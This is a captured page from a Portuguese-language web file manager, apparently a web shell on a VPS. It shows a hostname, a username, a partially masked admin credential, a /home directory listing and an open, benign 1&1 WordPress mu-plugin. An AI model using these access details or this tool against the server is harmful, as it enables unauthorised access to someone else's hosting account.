🗂️ File Manager Pro
🖥️ Tipo de Hospedagem:
Vps
📁 Diretório Raiz:
/home
🌐 Servidor:
www.apm-abl.com
👤 Usuário:
apmablcosr
🔐 Sessão:
🔑 Credenciais:
adm_c86d0b07 / 352c****
📍 Localização Atual:
home
Caminho completo: /home
📤 Enviar Arquivo
📁 Nova Pasta
⬆️ Voltar
🏠 Raiz
🗑️ DELETAR
📦 ZIPAR/DEZIPAR
Status
Nome
Tamanho
Modificado
Permissões
Ações
📁 a
-
03/02/2026 22:15
0755
✏️
📁 apmablcosr
-
26/01/2026 16:35
0705
✏️
🗑️
Editando: 1and1-subdomain.php.tar
home/apmablcosr/www/wp-content/mu-plugins/1and1-subdomain.php 0000644 00000003133 15136140012 0020226 0 ustar 00 <?php /** * Plugin Name: 1&1 Product Subdomain * Plugin URI: http://www.1and1.com/ * Description: Handles product subdomain installs in accordance with search engines best practices. * Version: 1.1.0 * Author: 1&1 * Author URI: http://www.1and1.com/ */ if ( ! defined( 'ABSPATH' ) ) { die(); } class Product_Subdomains { private $system_domains = array( 'apps-1and1.net', 'apps-1and1.com', 'online.de', 'live-website.com' ); /** * Constructor */ public function __construct() { if ( $this->is_system_domain() ) { add_action( 'admin_init', array( $this, 'set_blog_to_private' ), 1000, 0 ); if ( $this->is_options_reading_page() ) { add_action( 'admin_footer', array( $this, 'disable_checkbox' ), 1000, 0 ); } } } /** * Checks whether the home_url contains a system domain. * * @return bool */ private function is_system_domain() { $host = parse_url( get_home_url(), PHP_URL_HOST ); foreach ( $this->system_domains as $sys_domain ) { if ( stripos( $host, $sys_domain ) !== false ) { return true; } } return false; } /** * Disables the checkbox on options-reading.php */ public function disable_checkbox() { echo '<script>document.querySelector("#blog_public").disabled = true</script>'; } /** * Sets the blog to private (prevent crawling) */ public function set_blog_to_private() { if ( current_user_can( 'manage_options' ) ) { update_option( 'blog_public', 0 ); } } private function is_options_reading_page() { return stripos( admin_url( 'options-reading.php' ), $_SERVER['SCRIPT_NAME'] ); } } new Product_Subdomains;
💾 Salvar
❌ Cancelar
Enviar Arquivo
Selecionar arquivo:
Enviar
Cancelar
Criar Nova Pasta
Nome da pasta:
Criar
Cancelar
Alterar Permissões
Nova permissão:
0644 (rw-r--r--)
0755 (rwxr-xr-x)
0777 (rwxrwxrwx)
0600 (rw-------)
0700 (rwx------)
0444 (r--r--r--)
💾 Salvar
Cancelar